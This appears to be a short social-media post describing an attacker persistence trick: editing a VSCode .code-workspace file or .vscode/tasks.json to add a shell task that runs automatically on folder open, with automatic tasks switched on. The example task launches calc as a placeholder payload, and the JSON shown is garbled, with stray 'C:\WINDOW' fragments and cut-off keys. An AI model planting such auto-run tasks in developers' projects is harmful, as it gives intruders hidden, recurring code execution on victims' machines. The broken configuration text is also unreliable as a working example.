Here is how you can use/hijack a VSCode workspace for #persistence.

Look for ".code-workspace" on the file system and add a runOn "folderOpen" task with your payload and Turn on "allowAutomaticTasks".

You can also add this task to a "tasks.json" inside a ".vscode" folder :)

```
            tings": {
"                "task.allowAutomaticTasks": "on"
"
\\?\C:\WIND(    ks":{
                "version": "2.0.0",
C:\WINDOW       "tasks": [
                  {
\\?\C:\WIND(        "label": "Persistence",
                    "type": "shell",
\\?\C:\WIND(        "command": "calc",
                    "runOptions": { "runOn": "folderC
C:\WINDOW         }
                ]
calc
```
